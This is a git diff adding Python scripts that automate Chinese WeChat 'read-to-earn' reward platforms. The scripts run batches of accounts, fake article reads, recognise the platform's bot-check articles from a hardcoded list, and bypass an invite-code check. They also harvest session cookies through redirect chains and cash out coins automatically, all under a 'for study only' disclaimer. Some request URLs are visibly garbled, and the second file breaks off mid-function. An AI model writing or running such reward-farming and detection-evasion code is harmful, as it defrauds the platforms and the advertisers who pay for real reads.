+ print(f"❗获取codeid时发生未知错误: {e}", flush=True)
+ return # 其他未知错误也终止
+
+ # 获取id
+ dynamic_id_value = None
+ try:
+ response_text_for_id = requests.get(
+ f"http://{parsed_domain}/?inviteid=0", # NameError risk if parsed_domain not set
+ headers={
+ "Host": f"{parsed_domain}", # NameError risk if parsed_domain not set
+ "Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", "User-Agent": f"{UA} {uas}",
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/tpg,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
+ "X-Requested-With": "com.tencent.mm", "Accept-Encoding": "gzip, deflate",
+ "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
+ "Cookie": f"ysmuid={ysmuid}"
+ },
+ timeout=10
+ ).text
+ id_match = re.compile(r'我的id:(\d+)').search(response_text_for_id)
+ if id_match:
+ dynamic_id_value = id_match.group(1)
+ else:
+ print("❗警告:未在页面中找到 '我的id:'", flush=True)
+ except NameError:
+ print(f"❗获取'我的id:'失败:活动域名 'parsed_domain' 未能成功解析。", flush=True)
+ # 如果到这里,通常在获取 codeid 时已 return
+ except requests.RequestException as e:
+ print(f"❗获取'我的id:'时网络请求失败: {e}", flush=True)
+ except re.error as e:
+ print(f"❗获取'我的id:'时正则错误: {e}", flush=True)
+ except Exception as e:
+ print(f"❗获取'我的id:'时发生未知错误: {e}", flush=True)
+
+ # 开始阅读
+ print(f"\n{'=' * 10}🔰开始执行账号{i}🔰{'=' * 10}\n", flush=True)
+
+ # === 修改点:绕过codeid检测 ===
+ print("👌 账号验证成功 [检测已绕过]", flush=True)
+
+ time.sleep(1)
+
+ # 移除了这里的 if 'parsed_domain' not in locals() or not parsed_domain: 检查
+ # 如果 parsed_domain 未定义,下面使用时会直接 NameError (除非上面获取 codeid 时已因 NameError return)
+
+ url_gold_info = f"http://{parsed_domain}/yunonline/v1/gold"
+ headers_gold_info = {
+ "Host": f"{parsed_domain}", "Connection": "keep-alive", "User-Agent": f"{UA} {uas}",
+ "Accept": "application/json, text/javascript, */*; q=0.01", "X-Requested-With": "XMLHttpRequest",
+ "Referer": f"http://{parsed_domain}/", "Accept-Encoding": "gzip, deflate",
+ "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Cookie": f"ysmuid={ysmuid}; ejectCode=1"
+ }
+ params_gold_info = {"unionid": f"{unionid}", "time": int(time.time() * 1000)}
+
+ try:
+ response_gold_json = requests.get(url_gold_info, headers=headers_gold_info, params=params_gold_info,
+ timeout=10).json()
+ except NameError: # 以防万一 parsed_domain 还是问题
+ print(f"❗获取金币信息失败:活动域名 'parsed_domain' 未定义。", flush=True)
+ return
+ except requests.RequestException as e:
+ print(f"❗获取金币信息时网络错误: {e}", flush=True)
+ return
+ except json.JSONDecodeError as e:
+ print(f"❗获取金币信息时JSON解析错误: {e}", flush=True)
+ return
+
+ if response_gold_json.get("errcode") == 0:
+ data_gold = response_gold_json.get("data", {})
+ day_gold = data_gold.get("day_gold", "未知")
+ day_read = data_gold.get("day_read", "未知")
+ last_gold = data_gold.get("last_gold", "未知")
+ remain_read = data_gold.get("remain_read", "未知")
+
+ print(f"🙍 ID:{dynamic_id_value if dynamic_id_value else '未获取到'}", flush=True)
+ print(f"💰 当前金币:{last_gold}\n📖 今日已读:{day_read} 剩余:{remain_read}", flush=True)
+ print("🔔 自动提现已关闭" if money_Withdrawal == 0 else "🔔 自动提现已开启", flush=True)
+ print(f"{'=' * 10}📖开始阅读文章📖{'=' * 10}\n", flush=True)
+
+ for article_count in range(33):
+ current_timestamp = int(time.time() * 1000)
+ checkDict = [
+ "MzkzMTYyMDU0OQ==", "Mzk0NDcxMTk2MQ==", "MzkzNTYxOTgyMA==",
+ "MzkzNDYxODY5OA==", "MzkwNzYwNDYyMQ==", "MzkyNjY0MTExOA==",
+ "MzkwMTYwNzcwMw==", "Mzg4NTcwODE1NA==", "MzkyMjYxNzQ2NA==",
+ "Mzk5MDc1MDQzOQ==", "MzkyMTc0MDU5Nw==", "Mzk4ODQzNzU3NA=="
+ ]
+ time.sleep(1)
+ url_get_article_domain = f"http://{parsed_domain}/wtmpdomain2" # NameError risk
+ headers_get_article_domain = {
+ "Host": f"{parsed_domain}", "Accept": "application/json, text/javascript, */*; q=0.01",
+ "User-Agent": f"{UA} {uas}", "X-Requested-With": "XMLHttpRequest",
+ "Origin": f"http://{parsed_domain}", "Referer": f"http://{parsed_domain}/?inviteid=0",
+ "Cookie": f"ysmuid={ysmuid};ejectCode=1"
+ }
+ data_get_article_domain = {"unionid": unionid}
+
+ response_article_domain_json = None
+ for retry in range(max_retries):
+ try:
+ response_article_domain_json = requests.post(url_get_article_domain,
+ headers=headers_get_article_domain,
+ data=data_get_article_domain, timeout=25).json()
+ break
+ except (ConnectionError, Timeout) as e_net:
+ print(f"❗获取文章域名网络异常 (尝试 {retry + 1}/{max_retries}): {e_net}", flush=True)
+ if retry < max_retries - 1:
+ time.sleep(2.5)
+ else:
+ print("❗网络异常退出 (获取文章域名)", flush=True);
+ return
+ except json.JSONDecodeError as e_json:
+ print(f"❗获取文章域名JSON解析错误 (尝试 {retry + 1}/{max_retries}): {e_json}", flush=True)
+ if retry < max_retries - 1:
+ time.sleep(2.5)
+ else:
+ print("❗JSON解析错误退出 (获取文章域名)", flush=True);
+ return
+ except Exception as e:
+ print(f"❗获取文章域名发生未知错误 (尝试 {retry + 1}/{max_retries}): {e}", flush=True)
+ if retry < max_retries - 1:
+ time.sleep(2.5)
+ else:
+ print("❗未知错误退出 (获取文章域名)", flush=True);
+ return
+
+ if not response_article_domain_json or response_article_domain_json.get("errcode") != 0:
+ err_msg = response_article_domain_json.get('msg', '未知错误') if response_article_domain_json else '无响应'
+ print(f"❗获取文章域名失败: {err_msg}", flush=True)
+ break
+
+ time.sleep(1)
+ article_page_domain_str = response_article_domain_json['data']['domain']
+ article_page_url_parts = urlparse(article_page_domain_str)
+ gt = parse_qs(article_page_url_parts.query).get('gt', [''])[0]
+
+ if not gt:
+ print(f"❗无法从文章域名响应中获取gt参数: {article_page_domain_str}", flush=True)
+ break
+
+ url_get_article_link = f"{article_page_url_parts.scheme}://{article_page_url_parts.netloc}/sdaxeryy?gt={gt}&time={current_timestamp}&psgn=168&vs=120"
+ headers_get_article_link = {
+ "Host": f"{article_page_url_parts.netloc}", "Connection": "keep-alive", "User-Agent": f"{UA} {uas}",
+ "Accept": "application/json, text/javascript, */*; q=0.01", "X-Requested-With": "XMLHttpRequest",
+ "Referer": f"{article_page_url_parts.scheme}://{article_page_url_parts.netloc}/xsysy.html?{article_page_url_parts.query}",
+ "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Accept-Encoding": "gzip, deflate"
+ }
+
+ response_article_link_json = None
+ for retry in range(max_retries):
+ try:
+ response_article_link_json = requests.get(url_get_article_link, headers=headers_get_article_link,
+ timeout=25).json()
+ break
+ except (ConnectionError, Timeout) as e_net: # This is where the current error in log happens
+ print(f"❗获取文章链接网络异常 (尝试 {retry + 1}/{max_retries}): {e_net}", flush=True)
+ if retry < max_retries - 1:
+ time.sleep(2.5)
+ else:
+ print("❗网络异常退出 (获取文章链接)", flush=True);
+ return # Script exits here for the account
+ except json.JSONDecodeError as e_json:
+ print(f"❗获取文章链接JSON解析错误 (尝试 {retry + 1}/{max_retries}): {e_json}", flush=True)
+ if retry < max_retries - 1:
+ time.sleep(2.5)
+ else:
+ print("❗JSON解析错误退出 (获取文章链接)", flush=True);
+ return
+ except Exception as e:
+ print(f"❗获取文章链接发生未知错误 (尝试 {retry + 1}/{max_retries}): {e}", flush=True)
+ if retry < max_retries - 1:
+ time.sleep(2.5)
+ else:
+ print("❗未知错误退出 (获取文章链接)", flush=True);
+ return
+
+ if not response_article_link_json or response_article_link_json.get("errcode") != 0:
+ err_code_val = response_article_link_json.get("errcode", "N/A") if response_article_link_json else "N/A"
+ err_msg = response_article_link_json.get('msg', '未知错误') if response_article_link_json else '无响应'
+ print(f"❗获取文章链接失败 (errcode: {err_code_val}): {err_msg}", flush=True)
+ if err_code_val == 405 or err_code_val == 407:
+ print(f"❗请尝试重新运行", flush=True)
+ break
+
+ link = response_article_link_json.get('data', {}).get('link')
+ if not link:
+ print("❗未找到link", flush=True)
+ break
+
+ biz_match = re.search(r'__biz=([^&]+)', link)
+ biz = biz_match.group(1) if biz_match else "❗未知来源文章"
+ read_sleep_time = random.randint(8, 25)
+ detection_delay = random.randint(120, 135)
+
+ current_day_read = 0
+ if isinstance(day_read, (int, str)) and str(day_read).isdigit():
+ current_day_read = int(day_read)
+
+ print(f"✅ 第{current_day_read + article_count + 1}篇文章获取成功---文章来源--- {biz}", flush=True)
+ print(f"📖 开始阅读: {link}", flush=True)
+
+ if biz == "❗未知来源文章" or biz in checkDict:
+ print(f"❗❗❗发现检测文章--- {biz} 待运行账号 {token} 当前时间 {str(datetime.datetime.now())}", flush=True)
+ # 得到当前时间
+
+ QLAPI.notify("⚠️ 小阅阅检测文章!待过检测账号:" + token, "请在120s内完成阅读!\n"
+ "当前时间:" + str(datetime.datetime.now()) +
+ "\n文章链接:" + link + "\n文章来源:" + biz)
+ # url_pushplus = "http://www.pushplus.plus/send"
+ # data_pushplus = {
+ # "token": token, "title": "⚠️ 小阅阅检测文章!请在120s内完成阅读!",
+ # "content": f'👉点击阅读8s以上并返回
链接(备用): {link}',
+ # "template": "html"
+ # }
+ # push_success = False
+ # for attempt in range(max_retries):
+ # try:
+ # response_push = requests.post(url_pushplus, data=data_pushplus, timeout=10).json()
+ # if response_push.get("code") == 200:
+ # print(f"❗❗❗检测文章已推送至微信,请到微信完成阅读…\n🕗{detection_delay}s后继续运行…",
+ # flush=True)
+ # push_success = True
+ # break
+ # else:
+ # print(f"❗❗❗检测文章推送失败: {response_push.get('msg', '未知错误')}", flush=True)
+ # except Exception as e_push:
+ # print(f"❗❗❗推送请求异常:{str(e_push)}", flush=True)
+ # if attempt < max_retries - 1: print("❗❗❗正在尝试重新推送...", flush=True); time.sleep(3.5)
+ #
+ # if not push_success:
+ # print(f"❗❗❗检测文章推送最终失败,脚本终止。", flush=True)
+ # return
+
+ time.sleep(detection_delay)
+ url_submit_detection = f"{article_page_url_parts.scheme}://{article_page_url_parts.netloc}/jinbicp?gt={gt}&time={read_sleep_time}×tamp={current_timestamp}"
+ headers_submit_detection = {
+ "Host": f"{article_page_url_parts.netloc}", "Connection": "keep-alive", "User-Agent": f"{UA} {uas}",
+ "Accept": "application/json, text/javascript, */*; q=0.01", "X-Requested-With": "XMLHttpRequest",
+ "Referer": f"{article_page_url_parts.scheme}://{article_page_url_parts.netloc}/xsysy.html?{article_page_url_parts.query}",
+ "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
+ }
+ response_submit_detection_json = None
+ for retry in range(max_retries):
+ try:
+ response_submit_detection_json = requests.get(url_submit_detection,
+ headers=headers_submit_detection,
+ timeout=25).json()
+ break
+ except Exception as e_submit_det:
+ print(f"❗提交检测文章状态网络异常 (尝试 {retry + 1}/{max_retries}): {e_submit_det}", flush=True)
+ if retry < max_retries - 1:
+ time.sleep(2.5)
+ else:
+ print("❗网络异常退出 (提交检测文章)", flush=True);
+ break
+
+ if response_submit_detection_json and response_submit_detection_json.get("errcode") == 0:
+ gold_earned = response_submit_detection_json.get('data', {}).get('gold', '未知')
+ print(f"✅ 第{article_count + 1}次阅读检测文章成功---获得金币:💰{gold_earned}💰", flush=True)
+ else:
+ err_msg = response_submit_detection_json.get('msg',
+ '提交失败或无响应') if response_submit_detection_json else '提交失败或无响应'
+ print(f"❗❗❗过检测失败: {err_msg}", flush=True)
+ break
+ else:
+ time.sleep(read_sleep_time)
+ url_submit_normal = f"{article_page_url_parts.scheme}://{article_page_url_parts.netloc}/jinbicp?gt={gt}&time={read_sleep_time}×tamp={current_timestamp}"
+ headers_submit_normal = {
+ "Host": f"{article_page_url_parts.netloc}", "Connection": "keep-alive", "User-Agent": f"{UA} {uas}",
+ "Accept": "application/json, text/javascript, */*; q=0.01", "X-Requested-With": "XMLHttpRequest",
+ "Referer": f"{article_page_url_parts.scheme}://{article_page_url_parts.netloc}/xsysy.html?{article_page_url_parts.query}",
+ "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
+ }
+ response_submit_normal_json = None
+ for retry in range(max_retries):
+ try:
+ response_submit_normal_json = requests.get(url_submit_normal, headers=headers_submit_normal,
+ timeout=25).json()
+ break
+ except Exception as e_submit_norm:
+ print(f"❗提交普通文章状态网络异常 (尝试 {retry + 1}/{max_retries}): {e_submit_norm}",
+ flush=True)
+ if retry < max_retries - 1:
+ time.sleep(2.5)
+ else:
+ print("❗网络异常退出 (提交普通文章)", flush=True);
+ break
+
+ if response_submit_normal_json and response_submit_normal_json.get("errcode") == 0:
+ gold_earned = response_submit_normal_json.get("data", {}).get("gold", "未知")
+ print(f"📖 本次模拟阅读{read_sleep_time}秒", flush=True)
+ print(f"✅ 第{article_count + 1}次阅读成功---获得金币:💰{gold_earned}💰", flush=True)
+ else:
+ err_msg = response_submit_normal_json.get('msg',
+ '提交失败或无响应') if response_submit_normal_json else '提交失败或无响应'
+ print(f"❗阅读文章失败: {err_msg}", flush=True)
+ break
+ print(f"{'-' * 60}\n", flush=True)
+
+ if money_Withdrawal == 1:
+ current_last_gold = 0
+ if isinstance(last_gold, (int, str)) and str(last_gold).isdigit():
+ current_last_gold = int(last_gold)
+
+ if current_last_gold > 5000:
+ print(f"{'=' * 12}💰开始提现💰{'=' * 12}\n", flush=True)
+ try:
+ url_withdraw_page = f"http://{parsed_domain}"
+ headers_withdraw_page = {
+ "Host": f"{parsed_domain}", "Connection": "keep-alive", "Cache-Control": "max-age=0",
+ "Upgrade-Insecure-Requests": "1", "User-Agent": f"{UA} {uas}",
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/tpg,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
+ "X-Requested-With": "com.tencent.mm", "Cookie": f"ysmuid={ysmuid}"
+ }
+ response_withdraw_page_text = requests.get(url_withdraw_page, headers=headers_withdraw_page,
+ timeout=10).text
+ res1 = re.sub('\s', '', response_withdraw_page_text)
+ exchangeUrl_match = re.findall('"target="_blank"href="(.*?)">提现<', res1)
+ if not exchangeUrl_match:
+ print("❗提现失败:未能在页面找到提现链接。", flush=True)
+ return
+
+ eurl = exchangeUrl_match[0]
+ eurl_parsed = urlparse(eurl)
+ eurl_host = eurl_parsed.netloc
+ eurl_query_dict = parse_qs(eurl_parsed.query)
+ eurl_unionid = eurl_query_dict.get('unionid', [''])[0]
+ eurl_request_id = eurl_query_dict.get('request_id', [''])[0]
+
+ if not all([eurl_host, eurl_unionid, eurl_request_id]):
+ print(
+ f"❗提现链接解析不完整: host={eurl_host}, unionid={eurl_unionid}, request_id={eurl_request_id}",
+ flush=True)
+ return
+
+ gold_to_withdraw = int(current_last_gold / 1000) * 1000
+ if gold_to_withdraw < 5000:
+ print(f"🔔 金币 ({current_last_gold}) 计算后不足5000 ({gold_to_withdraw}),不执行提现\n",
+ flush=True)
+ return
+
+ print(f"💰 准备提现金额:{gold_to_withdraw}", flush=True)
+
+ url_user_gold = f"http://{eurl_host}/yunonline/v1/user_gold"
+ headers_user_gold = {
+ "Host": f"{eurl_host}", "Accept": "application/json, text/javascript, */*; q=0.01",
+ "X-Requested-With": "XMLHttpRequest", "User-Agent": f"{UA} {uas}",
+ "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
+ "Origin": f"http://{eurl_host}", "Referer": eurl, "Cookie": f"ysmuid={ysmuid}"
+ }
+ data_user_gold = {"unionid": eurl_unionid, "request_id": eurl_request_id, "gold": gold_to_withdraw}
+ response_user_gold_json = requests.post(url_user_gold, headers=headers_user_gold,
+ data=data_user_gold, timeout=10).json()
+
+ if response_user_gold_json.get("errcode") != 0:
+ print(f"❗提现预请求失败: {response_user_gold_json.get('msg', '未知错误')}", flush=True)
+ return
+
+ url_final_withdraw = f"http://{eurl_host}/yunonline/v1/withdraw"
+ headers_final_withdraw = headers_user_gold
+ data_final_withdraw = {
+ "unionid": eurl_unionid, "signid": eurl_request_id, "ua": "2",
+ "ptype": "0", "paccount": "", "pname": ""
+ }
+ response_final_withdraw_json = requests.post(url_final_withdraw, headers=headers_final_withdraw,
+ data=data_final_withdraw, timeout=10).json()
+
+ if response_final_withdraw_json.get("errcode") == 0:
+ print("💰 恭喜您,提现成功!\n", flush=True)
+ else:
+ print(f"❗提现失败: {response_final_withdraw_json.get('msg', '未知错误')}", flush=True)
+
+ except requests.RequestException as e_wd:
+ print(f"❗提现过程中网络错误: {e_wd}", flush=True)
+ except json.JSONDecodeError as e_wd_json:
+ print(f"❗提现过程中JSON解析错误: {e_wd_json}", flush=True)
+ except IndexError:
+ print(f"❗提现失败:解析提现链接时发生错误 (IndexError)。", flush=True)
+ except Exception as e_wd_unknown:
+ print(f"❗提现过程中发生未知错误: {e_wd_unknown}", flush=True)
+
+ elif not isinstance(last_gold, (int, str)) or not str(last_gold).isdigit():
+ print(f"🔔 金币值 ({last_gold}) 无效,无法判断是否提现\n", flush=True)
+ else:
+ print(f"{'=' * 17}{'=' * 17}", flush=True)
+ print(f"🔔 金币 ({current_last_gold}) 不足5000,不执行提现\n", flush=True)
+ elif money_Withdrawal == 0:
+ print(f"{'=' * 17}{'=' * 17}", flush=True)
+ print(f"🔔 自动提现已关闭,不执行提现\n", flush=True)
+ else:
+ print(f"❗获取用户信息失败: {response_gold_json.get('msg', '未知错误')}", flush=True)
+ return # Return if user info fails
+
+
+def notice():
+ try:
+ print("""
+ 欢迎关注公众号【极客快乐营】
+ 公众号二维码:
+ https://free-img.400040.xyz/4/2025/06/30/686174d049215.png
+ 活动入口:
+ https://img.hnking.cn/blog/202508161653803.png
+ """)
+ # response = requests.get("https://gitee.com/gngkj/wxyd/raw/master/label.txt", timeout=5)
+ # response.raise_for_status()
+ # print(response.text)
+ except requests.RequestException as e:
+ print(f"❗网络异常,获取通知时出错: {e}")
+
+
+if __name__ == "__main__":
+ notice()
+ accounts_env = os.getenv("xyy")
+ money_Withdrawal = 0 if os.getenv("xyytx", "0") == "0" else 1
+
+ UA_env = os.getenv("UA")
+ if UA_env is None:
+ print("❗未找到环境变量 UA,程序终止。", flush=True)
+ exit()
+ UA = UA_env
+
+ if accounts_env is None:
+ print("❗未找到环境变量 xyy,程序终止。", flush=True)
+ exit()
+ else:
+ accounts_list = accounts_env.split("@")
+ num_of_accounts = len(accounts_list)
+ print(f"\n获取到 {num_of_accounts} 个账号", flush=True)
+ for i, account_str in enumerate(accounts_list, start=1):
+ if not account_str.strip():
+ print(f"第 {i} 个账号为空,已跳过。", flush=True)
+ continue
+ try:
+ if len(account_str.split("&")) < 3:
+ print(f"❗第 {i} 个账号格式不正确 (应为 ysmuid&unionid&token),已跳过: {account_str}", flush=True)
+ continue
+ except IndexError:
+ print(f"❗第 {i} 个账号格式解析错误 (IndexError),已跳过: {account_str}", flush=True)
+ continue
+
+ process_account(account_str, i)
+
+if __name__ == '__main__': pass
diff --git a/猫猫阅读源码版本.py b/猫猫阅读源码版本.py
new file mode 100644
index 0000000..98e6d32
--- /dev/null
+++ b/猫猫阅读源码版本.py
@@ -0,0 +1,818 @@
+
+#
+# 阅读入口:https://img.hnking.cn//blog/202508070115447.png 微信扫码打开
+# 配置说明:
+# 1. 环境变量 mmyd_ck: 配置cookie账号信息bbus值,支持多账号分隔符:换行符、@、& 例如eyxxxxxxxxx 不要前面的bbus=
+# 2. 环境变量 mmyd_ua: 配置UA信息 https://useragent.todaynav.com/ 微信打开此网站即可 请使用你的微信的User-Agent
+# 3. 环境变量 mmyd_url: 检测文章提交接口的URL(可选,如http://192.168.124.201:9900/check_read)请使用自己的这个只是例子
+# 4. 环境变量 mmyd_token: PushPlus推送加token(可选)
+# 5. 环境变量 mmyd_tx: PushPlus推送加token(可选)
+#
+# 使用说明:
+# - 首账号采用固定邀请码,请wx点击阅读入口。
+# - 支持多账号批量运行,自动刷新Cookie
+# - 自动检测文章并推送通知(需配置mmyd_token)
+# - 自动提现功能,满足5000金币自动提现
+# - 如果配置了mmyd_url,会先尝试自动过检,失败则推送通知
+#
+# 本脚本仅供学习交流,请在下载后的24小时内完全删除
+# 请勿用于商业用途或非法目的,否则后果自负
+
+
+
+# 测试区
+# 临时设置环境变量
+# os.environ["mmyd_ck"] = ""
+#
+# os.environ["mmyd_ua"] = ""
+# os.environ["mmyd_url"] = ""
+# os.environ["mmyd_token"] = ""
+
+# 固定注释内容
+fixed_comments = """# 猫猫阅读脚本 4.0
+#
+# 阅读入口:https://img.hnking.cn//blog/202508070115447.png 微信扫码打开
+#
+# 配置说明:
+# 1. 环境变量 mmyd_ck: 配置cookie账号信息bbus值,支持多账号分隔符:换行符、@、&
+# 2. 环境变量 mmyd_ua: 配置UA信息 https://useragent.todaynav.com/ 微信打开此网站即可 请使用你的微信的User-Agent
+# 3. 环境变量 mmyd_url: 检测文章提交接口的URL(可选,如http://192.168.124.201:9900/check_read)
+# 4. 环境变量 mmyd_token: PushPlus推送加token(可选)
+#
+# 使用说明:
+# - 首账号采用固定邀请码,请wx点击阅读入口。
+# - 支持多账号批量运行,自动刷新Cookie
+# - 自动检测文章并推送通知(需配置mmyd_token)
+# - 自动提现功能,满足5000金币自动提现
+# - 如果配置了mmyd_url,会先尝试自动过检,失败则推送通知
+#
+# 本脚本仅供学习交流,请在下载后的24小时内完全删除
+# 请勿用于商业用途或非法目的,否则后果自负"""
+
+
+
+import requests
+import json
+import os
+from urllib.parse import urlparse, parse_qs, urlencode, urlunparse
+import re
+import time
+import random
+from requests.exceptions import RequestException
+
+
+
+
+# 创建全局 session
+session = requests.Session()
+
+# API认证相关
+API_URL = os.getenv("mmyd_url") # 检测文章提交接口URL
+PUSH_TOKEN = os.getenv("mmyd_token") # PushPlus推送token
+UA_USER_AGENT = os.getenv("mmyd_ua") # UA
+PROXY_URL = os.getenv("mmyd_proxy") #代理
+
+# 新增: PushPlus通知函数
+def send_pushplus_notification(token, title, content):
+ """使用PushPlus发送通知"""
+ try:
+ url_pushplus = "http://www.pushplus.plus/send"
+ data_pushplus = {
+ "token": token,
+ "title": title,
+ "content": content,
+ "template": "html"
+ }
+ response = requests.post(url_pushplus, data=data_pushplus, timeout=10)
+ response.raise_for_status()
+ result = response.json()
+ if result.get("code") == 200:
+ print(f"✅ PushPlus通知发送成功", flush=True)
+ else:
+ print(f"❗ PushPlus通知发送失败: {result.get('msg', '未知错误')}", flush=True)
+ except Exception as e:
+ print(f"❗ PushPlus通知请求异常: {str(e)}", flush=True)
+
+
+def fetch_luodi_url():
+ url = "http://thr.zuoanai.cn/baobaocode.php"
+ headers = {
+ "Accept": "application/json, text/javascript, */*; q=0.01",
+ "Accept-Encoding": "gzip, deflate",
+ "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
+ "Connection": "keep-alive",
+ "Host": "thr.zuoanai.cn",
+ "Referer": "http://thr.zuoanai.cn/",
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0",
+ "X-Requested-With": "XMLHttpRequest"
+ }
+ resp = session.get(url, headers=headers, timeout=15, proxies=proxies)
+ resp.raise_for_status()
+ data = resp.json()
+ luodi_url = data.get("data", {}).get("luodi")
+ print(f"获取到活动地址: {luodi_url}")
+ return luodi_url
+
+
+def get_first_redirect(luodi_url):
+ parsed = urlparse(luodi_url)
+ host = parsed.hostname
+ path = parsed.path + (f"?{parsed.query}" if parsed.query else "")
+ headers = {
+ "Host": host,
+ "Connection": "keep-alive",
+ "Upgrade-Insecure-Requests": "1",
+ "User-Agent": UA_USER_AGENT,
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/tpg,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
+ "X-Requested-With": "com.tencent.mm",
+ "Accept-Encoding": "gzip, deflate",
+ "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
+ }
+ url = f"http://{host}{path}"
+ resp = session.get(url, headers=headers, allow_redirects=False, timeout=15)
+ if resp.status_code == 302:
+ location = resp.headers.get('Location')
+ # print(f"302跳转地址: {location}")
+ parsed2 = urlparse(location)
+ new_host = parsed2.hostname
+ m = re.search(r'/haobaobao/([^/?]+)', parsed2.path)
+ cid = m.group(1) if m else None
+ # print(f"新域名: {new_host}, cid: {cid}")
+ return new_host, cid
+ else:
+ print(f"未返回302,状态码: {resp.status_code}")
+ print(resp.text)
+ return None, None
+
+
+def get_redirect_url(code, cid):
+ url = f"http://soicq.hzyunyan.cn/blank_ground.html?type=bao&cid={cid}&code={code}&state=1"
+ headers = {
+ "Host": "soicq.hzyunyan.cn",
+ "Connection": "keep-alive",
+ "Upgrade-Insecure-Requests": "1",
+ "User-Agent": UA_USER_AGENT,
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
+ "X-Requested-With": "com.tencent.mm",
+ "Accept-Encoding": "gzip, deflate",
+ "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
+ }
+ resp = session.get(url, headers=headers, allow_redirects=False, timeout=15)
+ if resp.status_code == 302:
+ location = resp.headers.get('Location')
+ # print(f"redirect接口302 Location: {location}")
+ return location
+ else:
+ print(f"redirect接口未返回302,状态码: {resp.status_code}")
+ print(resp.text)
+ return None
+
+
+def get_bbus_from_url(bbus_url):
+ # 处理q参数,去掉v前缀
+ parsed = urlparse(bbus_url)
+ qs = parse_qs(parsed.query)
+ # 处理q参数
+ if 'q' in qs and qs['q']:
+ qval = qs['q'][0]
+ if qval.startswith('v') and len(qval) > 1:
+ qs['q'][0] = qval[1:]
+ # 处理v参数,替换为当前时间戳减6小时2秒
+ if 'v' in qs and qs['v']:
+ now = int(time.time())
+ v_new = now - (6 * 3600)
+ qs['v'][0] = str(v_new)
+ new_query = urlencode(qs, doseq=True)
+ bbus_url = urlunparse(parsed._replace(query=new_query))
+ headers = {
+ "Host": parsed.hostname,
+ "Upgrade-Insecure-Requests": "1",
+ "User-Agent": UA_USER_AGENT,
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
+ "Accept-Encoding": "gzip, deflate",
+ "Accept-Language": "zh-CN,zh;q=0.9",
+ "Connection": "keep-alive"
+ }
+ resp = session.get(bbus_url, headers=headers, timeout=15)
+ # print(resp.text)
+ print(f"请求: {bbus_url}")
+ print("--- 响应标头 ---")
+ for k, v in resp.headers.items():
+ print(f"{k}: {v}")
+ set_cookie = resp.headers.get('Set-Cookie', '')
+ m = re.search(r'bbus=([^;]+)', set_cookie)
+ bbus = m.group(1) if m else None
+ print(f"bbus: {bbus}")
+ return bbus
+
+
+def get_location_domain(cid, bbus, new_host):
+ """
+ 1. GET /haobaobao/v{cid}?v=xxx,带 bbus cookie,获取 302 Location 域名
+ 返回 (location_url, location_domain)
+ """
+ v = int(time.time())
+ url = f"http://{new_host}/haobaobao/v{cid}?v={v}"
+ headers = {
+ "Host": new_host,
+ "Connection": "keep-alive",
+ "Upgrade-Insecure-Requests": "1",
+ "User-Agent": UA_USER_AGENT,
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/tpg,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
+ "X-Requested-With": "com.tencent.mm",
+ "Accept-Encoding": "gzip, deflate",
+ "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
+ "Cookie": f"bbus={bbus}"
+ }
+ resp = session.get(url, headers=headers, allow_redirects=False, timeout=15)
+ location = resp.headers.get('Location')
+ if not location:
+ print(f"未获取到Location,状态码: {resp.status_code}")
+ return None, None
+ # 提取域名
+ parsed = urlparse(location)
+ location_domain = parsed.hostname
+ # print(f"Location: {location}\nLocation域名: {location_domain}")
+ return location, location_domain
+
+
+def post_mwtmpdomain(location_domain, bbus):
+ """
+ 2. POST /mwtmpdomain,带 bbus cookie,返回 domain/sk
+ """
+ url = f"http://{location_domain}/mwtmpdomain"
+ headers = {
+ "Host": location_domain,
+ "Connection": "keep-alive",
+ "Content-Length": "0",
+ "User-Agent": UA_USER_AGENT,
+ "Accept": "application/json, text/javascript, */*; q=0.01",
+ "X-Requested-With": "XMLHttpRequest",
+ "Origin": f"http://{location_domain}",
+ "Referer": f"http://{location_domain}/haobaobao/home?v=1751880944",
+ "Accept-Encoding": "gzip, deflate",
+ "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
+ "Cookie": f"bbus={bbus}"
+ }
+ resp = session.post(url, headers=headers, timeout=15)
+ try:
+ data = resp.json()
+ domain_url = data['data']['domain']
+ from urllib.parse import urlparse, parse_qs
+ parsed = urlparse(domain_url)
+ qs = parse_qs(parsed.query)
+ sk = qs.get('sk', [None])[0]
+ # print(f"domain: {domain_url}\nsk: {sk}")
+ return domain_url, sk
+ except Exception as e:
+ print(f"解析domain/sk失败: {e}")
+ return None, None
+
+
+def get_user_url(cid, bbus, new_host):
+ """
+ 综合流程:
+ 1. 通过 get_location_domain 获取 Location 域名
